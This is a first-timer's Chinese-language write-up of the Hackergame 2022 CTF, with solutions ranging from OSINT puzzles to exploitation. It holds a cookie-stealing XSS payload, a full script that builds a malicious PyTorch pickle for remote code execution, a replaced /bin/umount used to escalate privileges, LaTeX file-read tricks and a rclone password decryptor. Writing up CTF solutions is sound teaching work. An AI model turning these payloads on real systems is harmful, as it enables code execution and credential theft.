Hackergame 2022 Writeup

第一次打 CTF(

大概只做了不到一半的题

还有几道题没写完)

签到

手速快的话可以画个 2022 出来。

手速不够的话,直接点提交,你的浏览器地址栏里会出现 /result=???? ,把 ???? 改成 2022 再访问就可以了。

也可以画的时候抠掉 CPU, 画完再把 CPU 装回去。

猫咪问答喵

  1. 用搜索引擎搜索: 中国科学技术大学 NEBULA 战队 "成立"

  2. Software Freedom Day - LUG @ USTC 能找到题目中提及的幻灯片的 PDF 文件,从该文件第 15 页的截图中可以看到出问题的软件是 Kdenlive

  3. 用搜索引擎搜索: firefox "windows 2000"

  4. 在 Linux 的 GitHub repo (torvalds/linux) 直接搜索 CVE-2021-4034

  5. 用搜索引擎搜索题目中的 MD5 (记得保留冒号以及带引号),找到对应的 IP 地址,用 nslookup 命令查到对应的域名 sdf.org

    search-md5 host-ip nslookup

  6. 搜索 中国科学技术大学 网络通,可以找到网络通的登录页面,下面有个常见问题列表,点进去发现有一段是 “中国科学技术大学校园网络运行及通信费用分担办法(2011年1月1日起实行)”

    可能有人会觉得这个2011年1月1日就是答案,但是里面提到了“旧的收费标准”。

    搜索这个文件的原文,可以找到“网字〔2003〕1号《关于实行新的网络费用分担办法的通知》”,然后去 USTC 官网找这个文件就行了。文件在 USTC网络信息中心 > 官方文件 > 网字文件 > 关于实行新的网络费用分担办法的通知,答案是这个文件里写的的实行日期: 2003-03-01

家目录里的秘密

这两个 flag 的位置,随便用什么代码编辑器、IDE 甚至 grep 命令来搜索 flag 都能搜到。

VS Code 里的 flag

这个 flag 是 flag{finding_everything_through_vscode_config_file_932rjdakd}, 在 /user/.config/Code/User/History/2f23721/DUGV.c 的第 5 行

Rclone 里的 flag

/user/.config/rclone/rclone.conf 的第 5 行,这个flag是加密过的,能解密它的脚本网上有很多,搜索 rclone password decrypt 之类的关键词就能找到

下面这个是我在网上找到的解密脚本(来源),把倒数第二行的 YOUR PSEUDO-ENCRYPTED PASSWORD HERE 替换成题目中加密过的 flag,然后运行脚本就能解密了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "encoding/base64"
    "errors"
    "fmt"
    "log"
)

// crypt internals
var (
    cryptKey = []byte{
        0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d,
        0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b,
        0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb,
        0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38,
    }
    cryptBlock cipher.Block
    cryptRand  = rand.Reader
)

// crypt transforms in to out using iv under AES-CTR.
//
// in and out may be the same buffer.
//
// Note encryption and decryption are the same operation
func crypt(out, in, iv []byte) error {
    if cryptBlock == nil {
        var err error
        cryptBlock, err = aes.NewCipher(cryptKey)
        if err != nil {
            return err
        }
    }
    stream := cipher.NewCTR(cryptBlock, iv)
    stream.XORKeyStream(out, in)
    return nil
}

// Reveal an obscured value
func Reveal(x string) (string, error) {
    ciphertext, err := base64.RawURLEncoding.DecodeString(x)
    if err != nil {
        return "", fmt.Errorf("base64 decode failed when revealing password - is it obscured? %w", err)
    }
    if len(ciphertext) < aes.BlockSize {
        return "", errors.New("input too short when revealing password - is it obscured?")
    }
    buf := ciphertext[aes.BlockSize:]
    iv := ciphertext[:aes.BlockSize]
    if err := crypt(buf, buf, iv); err != nil {
        return "", fmt.Errorf("decrypt failed when revealing password - is it obscured? %w", err)
    }
    return string(buf), nil
}

// MustReveal reveals an obscured value, exiting with a fatal error if it failed
func MustReveal(x string) string {
    out, err := Reveal(x)
    if err != nil {
        log.Fatalf("Reveal failed: %v", err)
    }
    return out
}

func main() {
    fmt.Println(MustReveal("YOUR PSEUDO-ENCRYPTED PASSWORD HERE"))
}

HeiLang

把题目中定义的批量赋值的形式转换成合法的 python 代码,然后运行就能得到 flag 了。

用代码编辑器 (我用的是 Visual Studio Code) 正则表达式查找-替换

查找 (\d) \| (\d)

替换为 $1] = a[$2

替换完直接运行,一个 flag 就出现在你的屏幕上了

Xcaptcha

手速快的话,可以直接手算验证码,然后提交表单拿到 flag。

手速不够的话,写个脚本解析页面中出现的三道加法算数题,算出答案,然后把答案提交到题目中的表单,就能得到 flag 了。

下面是我写的代码。我直接用正则解析的 ,大概用 BeautifulSoup 之类的库也能解决发送http请求需要用 request.Session 之类的东西来处理 cookie,不然会拿不到 flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import re
import requests

session = requests.Session()


numbers = [int(i[0]) + int(i[1])
           for i in re.findall(r'(\d+)\+(\d+)',
                               session.get('http://202.38.93.111:10047/xcaptcha',
                                           cookies={'session': '<yorsession>'}).text,
                               re.M)]

print(session.post('http://202.38.93.111:10047/xcaptcha', data={
    'captcha1': numbers[0],
    'captcha2': numbers[1],
    'captcha3': numbers[2],
}).text)

旅行照片 2.0

第一题:照片分析

用 exiftool 之类的工具查看照片的 EXIF 信息就能得到答案

  1. EXIF 信息的 Exif Version 字段为 0231, 对应的 EXIF 版本为 2.31
  2. Make 字段为 Xiaomi
  3. ISO 字段为 84
  4. Date/Time Original 字段为 2022:05:14 18:23:35.220027+09:00
  5. Flash 字段为 Off, Did not fire

第二题:社工实践

酒店

  1. EXIF 信息里的时区是东九区,而且照片中圆形建筑上有日语,猜测照片拍摄于日本 jp-word

    搜索圆形建筑物上出现的 “zozo”、“stadium” 等字样,可以确定照片中的建筑物是位于日本千叶县千叶市美滨区的 ZOZO海洋球场,可以从地图上看到这个地点的邮政编码是 261-0022

  2. 照片 EXIF 信息的 Camera Model Name 字段是 sm6115 (juice),搜索 “sm6115” 发现这是骁龙662处理器的代号,于是搜索 “骁龙662 小米” 的图片: xiaomi

    发现 “Redmi Note 9 4G” 这个型号的手机的相机模组和照片中窗户倒影的手机 完 全 一 致,处理器也是骁龙662。搜索这个手机型号,可以确定它的屏幕分辨率是 2340×1080

航班

根据照片判断飞机航向

map

搜索照片拍摄时在东京湾上空向北飞的航班

FlightRadar24 的VIP 用户可以直接搜到(不想花钱的话可以试试7天试用)当然也有其它的网站可以用

LaTeX 机器人

纯文本

题目里已经给了答案,输入 \input{/flag1} 即可

特殊字符混入

\catcode#_ 变成普通字符就能解析了

1
\catcode `\#=12;\catcode `\_=12;\input{/flag2}

Flag 的痕迹

在其它的 DokuWiki 站点(如 DokuWiki 官网)发现除了 revisions 页面以外,diff 页面也能显示历史版本的内容。 尝试访问题目中的 DokuWiki 的 diff 页面,发现可以看到历史版本的内容,于是拿到 flag。

虽然 revisions 页面 (/doku.php?do=revisions) 被禁用了,但 diff 页面并没有同时被禁用,访问 /doku.php?do=diff,可以在 diff 页面看到历史版本。

安全的在线测评

无法 AC 的题目

直接读取 ./data/static.out 并输出即 AC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main() {
    FILE *fp = fopen("./data/static.out", "r");
    assert(fp != NULL);
    char buf[64] = {0};
    while (fgets(buf, sizeof(buf), fp) != NULL) {
        printf("%s", buf);
    }
    fclose(fp);
    return 0;
}

线路板

找一个 Online Geber Viewer 网站(我用的是 www.pcbgogo.com),打开题目给的 zip 压缩包。 切换到 layers 视图,把除了有被遮挡住的flag的那一层都隐藏掉。 按 F12 或者 Ctrl+Shift+I 打开开发者工具,切换到元素视图,你会发现电路板被渲染成了一个 <svg> 标签。 找到挡住 flag 的那个 <path> 标签,删掉它,就能看到 flag 了。 (根本不需要安装什么 PCB 相关的软件)

微积分计算小练习

这大概是一道 XSS 题。

先在练习网站随便输入点东西提交,跳转到练习成绩页面,这个页面上的 JavaScript 代码会把 url 的 query string 的 result 参数用 base64 解码,然后把解码后的东西以 : 分隔,分别塞到 #greeting#score 这两个元素的 innerHTML 里。 所以可以把 JavaScript 代码经过 base64 编码之后塞到 result 参数里来实现 XSS。

阅读 bot.py 代码,发现它会先把 flag 塞进 cookie 里,然后访问练习成绩页面,然后输出页面上 #greeting#score 这两个元素的文本内容

可以构造类似这样的 payload:

1
a:<img src=a onerror=document.getElementById("greeting").innerText=document.cookie>

把它 base64 编码之后,放到 result 参数里(记得把编码后的参数里面的 =/+之类的字符 url encode 一遍,不然会 HTTP 500),拼成类似这样的 url:

1
http://202.38.93.111:10056/share?result=YTo8aW1nIHNyYz1hIG9uZXJyb3I9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImdyZWV0aW5nIikuaW5uZXJUZXh0PWRvY3VtZW50LmNvb2tpZT4=

直接提交就能拿到 flag 了。

杯窗鹅影

flag1

编写程序直接读 /flag1 这个文件并输出就可以了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// flag1.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    FILE *fp = fopen("/flag1", "r");
    char buff[255];
    fscanf(fp, "%s", buff);
    printf("%s", buff);
    fclose(fp);
    return 0;
}
1
x86_64-w64-mingw32-gcc flag1.c

二次元神经网络

利用了 pickle 的反序列化实现 RCE, 原理可以参考: 从零开始python反序列化攻击:pickle原理解析 & 不用reduce的RCE姿势 - 知乎

可以用这个脚本生成符合题目要求的模型

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# generate_payload.py

import base64
import io
from collections import OrderedDict
import numpy as np
import requests
import torch
import torch.nn as nn
from torch.serialization import normalize_storage_type, location_tag


class SimpleGenerativeModel(nn.Module):
    class TagEncoder(nn.Module):
        def __init__(self, n_tags, output_dim):
            super().__init__()
            self.embedding = nn.Embedding(n_tags, output_dim, padding_idx=0)

    def forward(self, tag_ids: torch.Tensor) -> torch.Tensor:
        text = self.embedding(tag_ids).sum(dim=1)
        return text

    def __init__(self, n_tags: int, dim: int, img_shape: tuple):
        super().__init__()
        self.n_tags = n_tags
        self.img_shape = img_shape

        self.tag_encoder = self.TagEncoder(n_tags=n_tags, output_dim=dim)

        self.model = nn.Sequential(
            nn.Linear(2 * dim, dim),
            nn.ReLU(),
            nn.Linear(dim, dim),
            nn.ReLU(),
            nn.Linear(dim, np.prod(img_shape)),
            nn.Tanh(),
        )

    def forward(self, noise: torch.Tensor, tag_ids: torch.Tensor) -> torch.Tensor:
        tag_emb = self.tag_encoder(tag_ids)
        x = torch.cat([noise, tag_emb], dim=-1)
        x = self.model(x)
        x = x.view(x.shape[0], *self.img_shape)
        return x


class Payload(OrderedDict):
    def __reduce__(self):
        print('[+] target images downloaded.')
        return (eval,
                (('[OrderedDict,'
                  'exec("num = 0"),'
                  'exec("def test(a=\'\'):global num;'
                  'count=num;'
                  'num+=1;'
                  'return b64[count]"),'
                  'exec("import base64;base64.b64encode=test")][0]'),
                 {'OrderedDict': dict(self), 'b64':
                     [base64.b64encode(requests.get(f'http://202.38.93.111:10123/static/images/{i}.png').content)
                      for i in range(10)]}))


def _new_save(obj, zip_file, pickle_module, pickle_protocol):
    print('[+] torch.serialization._save() patched.')
    serialized_storages = {}
    id_map = {}
    storage_dtypes = {}

    def persistent_id(obj):
        if isinstance(obj, torch.storage._TypedStorage) or torch.is_storage(obj):
            if isinstance(obj, torch.storage._TypedStorage):
                storage = obj._storage
                storage_dtype = obj.dtype
                storage_type_str = obj.pickle_storage_type()
                storage_type = getattr(torch, storage_type_str)
                storage_numel = obj.size()
            else:
                storage = obj
                storage_dtype = torch.uint8
                storage_type = normalize_storage_type(type(obj))
                storage_numel = storage.nbytes()
            if storage.data_ptr() != 0:
                if storage.data_ptr() in storage_dtypes:
                    if storage_dtype != storage_dtypes[storage.data_ptr()]:
                        raise RuntimeError(
                            'Cannot save multiple tensors or storages that '
                            'view the same data as different types')
                else:
                    storage_dtypes[storage.data_ptr()] = storage_dtype
            storage_key = id_map.setdefault(storage._cdata, str(len(id_map)))
            serialized_storages[storage_key] = storage
            return ('storage',
                    storage_type,
                    storage_key,
                    (location_tag(storage)),
                    storage_numel)
        return None

    data_buf = io.BytesIO()
    pickler = pickle_module.Pickler(data_buf, protocol=pickle_protocol)
    pickler.persistent_id = persistent_id
    pickler.dump(Payload(obj))
    data_value = data_buf.getvalue()
    zip_file.write_record('data.pkl', data_value, len(data_value))

    for key in sorted(serialized_storages.keys()):
        storage = serialized_storages[key]
        if storage.device.type != 'cpu':
            storage = storage.cpu()
        zip_file.write_record(f'data/{key}', storage.data_ptr(), storage.nbytes())


if __name__ == '__main__':
    torch.serialization._save = _new_save
    torch.save(SimpleGenerativeModel(63, 8, (64, 64, 3)).state_dict(), "payload.pt")
    print('[+] payload saved to "payload.pt".')

光与影

把网页保存到本地改代码

发现改动 fragment-shader.js 的第 302 行的几个数字,就能改变挡住 flag 的物体的尺寸和坐标,然后就能看得见完整的 flag 了(我不会 WebGL 瞎改了好久才发现)

比如这样:

1
2
// fragment-shader.js:302
    float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);

改成

1
2
// fragment-shader.js:302
    float t5 = t5SDF(p - vec3(114514.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);

链上记忆大师

三道题的题目要求类似:根据 Challenge{X}.sol 的内容,编写对应的 “MemoryMaster” 合约,使得 Challenge 合约的 test 方法能够返回 true

把写好的合约编译成 bytecode 然后提交上去就行了

记忆练习

但凡有一点有 Web3 开发经验这题就是送分题,写个智能合约,把编译出来的 bytecode 提交上去就行了。

拿 Solidity 语言举例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pragma solidity =0.8.17;

contract MemoryMaster {
    uint256 v;
    function memorize(uint256 n) external {
      v = n;
    }

    function recall() external view returns (uint256) {
      return v;
    }
}

传达不到的文件

cat /etc/init.d/rcS 发现终端退出后会调用 /bin/umount 把它改成读 flag 的脚本就行了(两个flag都可以这样读到)

1
2
3
4
/ $ rm -rf /bin/umount 
/ $ echo "cat /chall && cat /flag2" > /bin/umount
/ $ chmod +x /bin/umount 
/ $ exit

umount

企鹅拼盘

这么简单我闭眼都可以!

手动从 00001111 挨个试一遍

大力当然出奇迹啦~

写个脚本自动从 00000000000000001111111111111111 挨个试一遍(在我的电脑上跑了十几分钟,还是可以接受的):

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
import json
from alive_progress import alive_it


def bits(length):
    result = []
    for i in range(2**length):
      s = bin(i)[2:]
      result.append((length - len(s)) * '0' + s)
    return result


class Board:
    def __init__(self):
        self.b = [[i * 4 + j for j in range(4)] for i in range(4)]

    def _blkpos(self):
        for i in range(4):
            for j in range(4):
                if self.b[i][j] == 15:
                    return (i, j)

    def reset(self):
        for i in range(4):
            for j in range(4):
                self.b[i][j] = i * 4 + j

    def move(self, moves):
        for m in moves:
            i, j = self._blkpos()
            if m == 'L':
                self.b[i][j] = self.b[i][j - 1]
                self.b[i][j - 1] = 15
            elif m == 'R':
                self.b[i][j] = self.b[i][j + 1]
                self.b[i][j + 1] = 15
            elif m == 'U':
                self.b[i][j] = self.b[i - 1][j]
                self.b[i - 1][j] = 15
            else:
                self.b[i][j] = self.b[i + 1][j]
                self.b[i + 1][j] = 15

    def __bool__(self):
        for i in range(4):
            for j in range(4):
                if self.b[i][j] != i * 4 + j:
                    return True
        return False

class App:
    def __init__(self, branches, inbits) -> None:
        self.board = Board()
        self.branches = branches
        self.inbits = list(map(int, inbits))
        self.board.reset()
        for branch in self.branches:
            self.board.move(branch[1] if self.inbits[branch[0]] else branch[2])
        self.result = bool(self.board)
    
    def __bool__(self) -> bool:
        return self.result


success_flag = 0


def chal(bitlength, obf):
    filename = f'chals/b{bitlength}{"_obf" if obf else ""}.json'
    with open(filename) as f:
        branches = json.load(f)
    global success_flag
    success_flag = 0
    inbits = bits(bitlength)
    for i in alive_it(inbits):
        try:
            if bool(App(branches, i)):
                print(i)
                return True
        except Exception as e:
            print(e)
    return False


def failed():
    print("?")
    exit(0)


def success(c):
    print(bin(success_flag))
    exit(0)


c = int(input("\n1. 4 bits (plain)\n2. 16 bits (obfuscated)\n3. 64 bits (obfuscated)\nChoose level: "))
if c == 1:
    if not chal(4, False):
        failed()
elif c == 2:
    if not chal(16, True):
        failed()
elif c == 3:
    if not chal(64, True):
        failed()
else:
    print("Need more challenges? Maybe Hackergame 2023~")
    exit(0)

success(c)
Licensed under CC BY-NC-SA 4.0